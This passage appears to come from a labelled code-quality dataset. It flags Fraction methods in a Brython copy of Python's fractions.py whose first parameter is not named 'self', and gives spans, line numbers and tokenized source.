"\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "email", "\\u", "message_", "(_", "recipients_", ",_", "subject_", ",_", "message_", ",_", "sender_", "=_", "from", "\\u", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "created_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "sent", " ", "email", " ", "to", " ", "{}{}", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "server", " ", "owner", "s", "\"_", "if_", "server", "\\u", "owners_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "and", " ", "\"_", "if_", "server", "\\u", "owners_", "and_", "labor", "\\u", "owners_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "labor", " ", "owner", "s", "\"_", "if_", "labor", "\\u", "owners_", "else_", "\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
amrdraz/kodr/app/brython/www/src/Lib/fractions.py
[ { "content": " def _add(a, b):\n \"\"\"a + b\"\"\"\n return Fraction(a.numerator * b.denominator +\n b.numerator * a.denominator,\n a.denominator * b.denominator)", "metadata": "root.Fraction._add", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 395 }, { "content": " def _sub(a, b):\n \"\"\"a - b\"\"\"\n return Fraction(a.numerator * b.denominator -\n b.numerator * a.denominator,\n a.denominator * b.denominator)", "metadata": "root.Fraction._sub", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 403 }, { "content": " def _mul(a, b):\n \"\"\"a * b\"\"\"\n return Fraction(a.numerator * b.numerator, a.denominator * b.denominator)", "metadata": "root.Fraction._mul", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 411 }, { "content": " def _div(a, b):\n \"\"\"a / b\"\"\"\n return Fraction(a.numerator * b.denominator,\n a.denominator * b.numerator)", "metadata": "root.Fraction._div", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 417 }, { "content": " def __floordiv__(a, b):\n \"\"\"a // b\"\"\"\n return math.floor(a / b)", "metadata": "root.Fraction.__floordiv__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 424 }, { "content": " def __rfloordiv__(b, a):\n \"\"\"a // b\"\"\"\n return math.floor(a / b)", "metadata": "root.Fraction.__rfloordiv__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 428 }, { "content": " def __mod__(a, b):\n \"\"\"a % b\"\"\"\n div = a // b\n return a - b * div", "metadata": "root.Fraction.__mod__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 432 }, { "content": " def __rmod__(b, a):\n \"\"\"a % b\"\"\"\n div = a // b\n return a - b * div", "metadata": "root.Fraction.__rmod__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 437 }, { "content": " def __pow__(a, b):\n \"\"\"a ** b\n\n If b is not an integer, the result will be a float or complex\n since roots are generally irrational. If b is an integer, the\n result will be rational.\n\n \"\"\"\n if isinstance(b, numbers.Rational):\n if b.denominator == 1:\n power = b.numerator\n if power >= 0:\n return Fraction(a._numerator ** power,\n a._denominator ** power)\n else:\n return Fraction(a._denominator ** -power,\n a._numerator ** -power)\n else:\n # A fractional power will generally produce an\n # irrational number.\n return float(a) ** float(b)\n else:\n return float(a) ** b", "metadata": "root.Fraction.__pow__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 442 }, { "content": " def __rpow__(b, a):\n \"\"\"a ** b\"\"\"\n if b._denominator == 1 and b._numerator >= 0:\n # If a is an int, keep it that way if possible.\n return a ** b._numerator\n\n if isinstance(a, numbers.Rational):\n return Fraction(a.numerator, a.denominator) ** b\n\n if b._denominator == 1:\n return a ** b._numerator\n\n return a ** float(b)", "metadata": "root.Fraction.__rpow__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 466 }, { "content": " def __pos__(a):\n \"\"\"+a: Coerces a subclass instance to Fraction\"\"\"\n return Fraction(a._numerator, a._denominator)", "metadata": "root.Fraction.__pos__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 480 }, { "content": " def __neg__(a):\n \"\"\"-a\"\"\"\n return Fraction(-a._numerator, a._denominator)", "metadata": "root.Fraction.__neg__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 484 }, { "content": " def __abs__(a):\n \"\"\"abs(a)\"\"\"\n return Fraction(abs(a._numerator), a._denominator)", "metadata": "root.Fraction.__abs__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 488 }, { "content": " def __trunc__(a):\n \"\"\"trunc(a)\"\"\"\n if a._numerator < 0:\n return -(-a._numerator // a._denominator)\n else:\n return a._numerator // a._denominator", "metadata": "root.Fraction.__trunc__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 492 }, { "content": " def __floor__(a):\n \"\"\"Will be math.floor(a) in 3.0.\"\"\"\n return a.numerator // a.denominator", "metadata": "root.Fraction.__floor__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 499 }, { "content": " def __ceil__(a):\n \"\"\"Will be math.ceil(a) in 3.0.\"\"\"\n # The negations cleverly convince floordiv to return the ceiling.\n return -(-a.numerator // a.denominator)", "metadata": "root.Fraction.__ceil__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 503 }, { "content": " def __eq__(a, b):\n \"\"\"a == b\"\"\"\n if isinstance(b, numbers.Rational):\n return (a._numerator == b.numerator and\n a._denominator == b.denominator)\n if isinstance(b, numbers.Complex) and b.imag == 0:\n b = b.real\n if isinstance(b, float):\n if math.isnan(b) or math.isinf(b):\n # comparisons with an infinity or nan should behave in\n # the same way for any finite a, so treat a as zero.\n return 0.0 == b\n else:\n return a == a.from_float(b)\n else:\n # Since a doesn't know how to compare with b, let's give b\n # a chance to compare itself with a.\n return NotImplemented", "metadata": "root.Fraction.__eq__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 555 }, { "content": " def __lt__(a, b):\n \"\"\"a < b\"\"\"\n return a._richcmp(b, operator.lt)", "metadata": "root.Fraction.__lt__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 596 }, { "content": " def __gt__(a, b):\n \"\"\"a > b\"\"\"\n return a._richcmp(b, operator.gt)", "metadata": "root.Fraction.__gt__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 600 }, { "content": " def __le__(a, b):\n \"\"\"a <= b\"\"\"\n return a._richcmp(b, operator.le)", "metadata": "root.Fraction.__le__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 604 }, { "content": " def __ge__(a, b):\n \"\"\"a >= b\"\"\"\n return a._richcmp(b, operator.ge)", "metadata": "root.Fraction.__ge__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 608 }, { "content": " def __bool__(a):\n \"\"\"a != 0\"\"\"\n return a._numerator != 0", "metadata": "root.Fraction.__bool__", "header": "['class', 'Fraction', '(', 'numbers', '.', 'Rational', ')', ':', '___EOS___']", "index": 612 } ]
[ { "span": "def _add(a, b):", "start_line": 395, "start_column": 4, "end_line": 395, "end_column": 19 }, { "span": "def _sub(a, b):", "start_line": 403, "start_column": 4, "end_line": 403, "end_column": 19 }, { "span": "def _mul(a, b):", "start_line": 411, "start_column": 4, "end_line": 411, "end_column": 19 }, { "span": "def _div(a, b):", "start_line": 417, "start_column": 4, "end_line": 417, "end_column": 19 }, { "span": "def __floordiv__(a, b):", "start_line": 424, "start_column": 4, "end_line": 424, "end_column": 27 }, { "span": "def __rfloordiv__(b, a):", "start_line": 428, "start_column": 4, "end_line": 428, "end_column": 28 }, { "span": "def __mod__(a, b):", "start_line": 432, "start_column": 4, "end_line": 432, "end_column": 22 }, { "span": "def __rmod__(b, a):", "start_line": 437, "start_column": 4, "end_line": 437, "end_column": 23 }, { "span": "def __pow__(a, b):", "start_line": 442, "start_column": 4, "end_line": 442, "end_column": 22 }, { "span": "def __rpow__(b, a):", "start_line": 466, "start_column": 4, "end_line": 466, "end_column": 23 }, { "span": "def __pos__(a):", "start_line": 480, "start_column": 4, "end_line": 480, "end_column": 19 }, { "span": "def __neg__(a):", "start_line": 484, "start_column": 4, "end_line": 484, "end_column": 19 }, { "span": "def __abs__(a):", "start_line": 488, "start_column": 4, "end_line": 488, "end_column": 19 }, { "span": "def __trunc__(a):", "start_line": 492, "start_column": 4, "end_line": 492, "end_column": 21 }, { "span": "def __floor__(a):", "start_line": 499, "start_column": 4, "end_line": 499, "end_column": 21 }, { "span": "def __ceil__(a):", "start_line": 503, "start_column": 4, "end_line": 503, "end_column": 20 }, { "span": "def __eq__(a, b):", "start_line": 555, "start_column": 4, "end_line": 555, "end_column": 21 }, { "span": "def __lt__(a, b):", "start_line": 596, "start_column": 4, "end_line": 596, "end_column": 21 }, { "span": "def __gt__(a, b):", "start_line": 600, "start_column": 4, "end_line": 600, "end_column": 21 }, { "span": "def __le__(a, b):", "start_line": 604, "start_column": 4, "end_line": 604, "end_column": 21 }, { "span": "def __ge__(a, b):", "start_line": 608, "start_column": 4, "end_line": 608, "end_column": 21 }, { "span": "def __bool__(a):", "start_line": 612, "start_column": 4, "end_line": 612, "end_column": 20 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "add_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "+", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "a_", "._", "numerator_", "*_", "b_", "._", "denominator_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "._", "numerator_", "*_", "a_", "._", "denominator_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "denominator_", "*_", "b_", "._", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "sub_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "-", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "a_", "._", "numerator_", "*_", "b_", "._", "denominator_", "-_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "._", "numerator_", "*_", "a_", "._", "denominator_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "denominator_", "*_", "b_", "._", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "mul_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "*", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "a_", "._", "numerator_", "*_", "b_", "._", "numerator_", ",_", "a_", "._", "denominator_", "*_", "b_", "._", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "div_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "/", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "a_", "._", "numerator_", "*_", "b_", "._", "denominator_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "denominator_", "*_", "b_", "._", "numerator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "floor", "div\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "//", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "math_", "._", "floor_", "(_", "a_", "/_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "rfl", "oor", "div\\u\\u_", "(_", "b_", ",_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "//", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "math_", "._", "floor_", "(_", "a_", "/_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "mod", "\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "%", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "div_", "=_", "a_", "//_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "-_", "b_", "*_", "div_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "rmo", "d\\u\\u_", "(_", "b_", ",_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "%", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "div_", "=_", "a_", "//_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "-_", "b_", "*_", "div_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "pow", "\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "**", " ", "b", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "b", " ", "is", " ", "not", " ", "an", " ", "integ", "er", ",", " ", "the", " ", "result", " ", "will", " ", "be", " ", "a", " ", "float", " ", "or", " ", "complex", "\\", "10", ";", " ", " ", " ", " ", "sinc", "e", " ", "root", "s", " ", "are", " ", "genera", "ll", "y", " ", "irr", "ation", "al", ".", " ", "If", " ", "b", " ", "is", " ", "an", " ", "integ", "er", ",", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "will", " ", "be", " ", "rational", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "b_", ",_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "b_", "._", "denominator_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "power_", "=_", "b_", "._", "numerator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "power_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "Fraction_", "(_", "a_", "._", "\\u", "numerator_", "**_", "power_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "\\u", "denominator_", "**_", "power_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "Fraction_", "(_", "a_", "._", "\\u", "denominator_", "**_", "-_", "power_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "\\u", "numerator_", "**_", "-_", "power_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A", " ", "fractional", " ", "power", " ", "will", " ", "genera", "ll", "y", " ", "produce", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "irr", "ation", "al", " ", "number", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "float_", "(_", "a_", ")_", "**_", "float_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "float_", "(_", "a_", ")_", "**_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "rpo", "w", "\\u\\u_", "(_", "b_", ",_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "**", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "b_", "._", "\\u", "denominator_", "==_", "1_", "and_", "b_", "._", "\\u", "numerator_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "is", " ", "an", " ", "int", ",", " ", "keep", " ", "it", " ", "tha", "t", " ", "way", " ", "if", " ", "possib", "le", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "**_", "b_", "._", "\\u", "numerator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "a_", ",_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Fraction_", "(_", "a_", "._", "numerator_", ",_", "a_", "._", "denominator_", ")_", "**_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "b_", "._", "\\u", "denominator_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "**_", "b_", "._", "\\u", "numerator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "a_", "**_", "float_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "pos", "\\u\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "+", "a", ":", " ", "Coe", "rce", "s", " ", "a", " ", "subclass", " ", "instance", " ", "to", " ", "Frac", "tion", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "a_", "._", "\\u", "numerator_", ",_", "a_", "._", "\\u", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "neg", "\\u\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "-", "a", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "-_", "a_", "._", "\\u", "numerator_", ",_", "a_", "._", "\\u", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "abs", "\\u\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "abs", "(", "a", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fraction_", "(_", "abs_", "(_", "a_", "._", "\\u", "numerator_", ")_", ",_", "a_", "._", "\\u", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "trunc", "\\u\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "trunc", "(", "a", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "._", "\\u", "numerator_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "(_", "-_", "a_", "._", "\\u", "numerator_", "//_", "a_", "._", "\\u", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "._", "\\u", "numerator_", "//_", "a_", "._", "\\u", "denominator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "floor", "\\u\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Wil", "l", " ", "be", " ", "math", ".", "floor", "(", "a", ")", " ", "in", " ", "3.0", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "._", "numerator_", "//_", "a_", "._", "denominator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "ceil", "\\u\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Wil", "l", " ", "be", " ", "math", ".", "ceil", "(", "a", ")", " ", "in", " ", "3.0", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "negati", "ons", " ", "clev", "erl", "y", " ", "conv", "inc", "e", " ", "floor", "div", " ", "to", " ", "return", " ", "the", " ", "ceil", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "return_", "-_", "(_", "-_", "a_", "._", "numerator_", "//_", "a_", "._", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "==", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "b_", ",_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "a_", "._", "\\u", "numerator_", "==_", "b_", "._", "numerator_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "._", "\\u", "denominator_", "==_", "b_", "._", "denominator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "b_", ",_", "numbers_", "._", "Complex_", ")_", "and_", "b_", "._", "imag_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "b_", "._", "real_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 